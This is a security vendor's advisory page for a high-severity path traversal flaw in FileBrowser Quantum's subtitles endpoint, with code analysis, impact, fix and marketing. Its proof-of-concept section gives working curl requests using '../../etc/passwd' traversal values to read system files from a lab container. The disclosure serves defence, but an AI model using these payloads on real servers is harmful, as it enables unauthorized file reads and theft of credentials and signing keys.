Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-vvp7-h4fj-m28w

HIGHFix: gtsteffaniak/filebrowser#2524

GHSA-vvp7-h4fj-m28w is a high-severity (CVSS 7.7) Path Traversal vulnerability in github.com/gtsteffaniak/filebrowser/backend. O3 Security confirms whether GHSA-vvp7-h4fj-m28w is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

Also known asCVE-2026-54910GO-2026-6164
Published
Jul 31, 2026
Updated
Aug 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vvp7-h4fj-m28w.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vvp7-h4fj-m28w plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 371,256 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/gtsteffaniak/filebrowser/backend

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The subtitlesHandler endpoint (GET /api/media/subtitles) accepts two user-controlled query parameters: path and name, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors.

The primary vector is the path parameter: it is passed directly to idx.GetRealPath() without calling SanitizeUserPath(), allowing an attacker to escape the storage root and set parentDir to any directory on the host. No existing anchor file is required.

The secondary vector is the name parameter: it is joined with parentDir via filepath.Join(parentDir, name) without stripping directory components, allowing traversal relative to any resolved parentDir.

Any authenticated user (regardless of role or permissions) can exploit either vector to read any text file readable by the server process, including /etc/passwd, SSH keys, database credentials, and JWT signing keys.

Details

1. path parameter lacks SanitizeUserPath() — primary vector (http/media.go:54)

userscope, err := d.user.GetScopeForSourceName(source)
// ...
realPath, _, err := idx.GetRealPath(userscope, path)  // path is raw user input, no sanitization
// ...
parentDir := filepath.Dir(realPath)  // line 59: attacker controls this directory

SanitizeUserPath() explicitly rejects .. segments:

func SanitizeUserPath(userPath string) (string, error) {
    // ...
    for _, segment := range segments {
        if segment == ".." {
            return "", fmt.Errorf("invalid path: path traversal detected")
        }
    }
    // ...
}

Every other handler in the codebase calls SanitizeUserPath() before GetRealPath(). This handler skips it, so path=../../etc/passwd resolves parentDir to /etc, with no anchor file required.

2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

  • Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
  • No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
  • Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
  • Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
  • Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
  • No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Recommended Fix

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gtsteffaniak/filebrowser/backendall versions0.0.0-20260608182036-f3f4bbe80cb5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gtsteffaniak/filebrowser/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gtsteffaniak/filebrowser/backend to 0.0.0-20260608182036-f3f4bbe80cb5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vvp7-h4fj-m28w is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-vvp7-h4fj-m28w is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-vvp7-h4fj-m28w. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `subtitlesHandler` endpoint (`GET /api/media/subtitles`) accepts two user-controlled query parameters: `path` and `name`, both of which are used in filesystem operations without sanitization, creating two independent path traversal vectors. The primary vector is the `path` parameter: it is passed directly to `idx.GetRealPath()` without calling `SanitizeUserPath()`, allowing an attacker to escape the storage root and set `parentDir` to any directory on the host. No existing anchor file is required. The secondary vector is the `name` parameter: it is joined with `parentDir` v
O3 Security · Impact-Aware SCA

Is GHSA-vvp7-h4fj-m28w in your dependencies?

O3 detects GHSA-vvp7-h4fj-m28w across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-vvp7-h4fj-m28w: backend (High 7.7) | O3 Security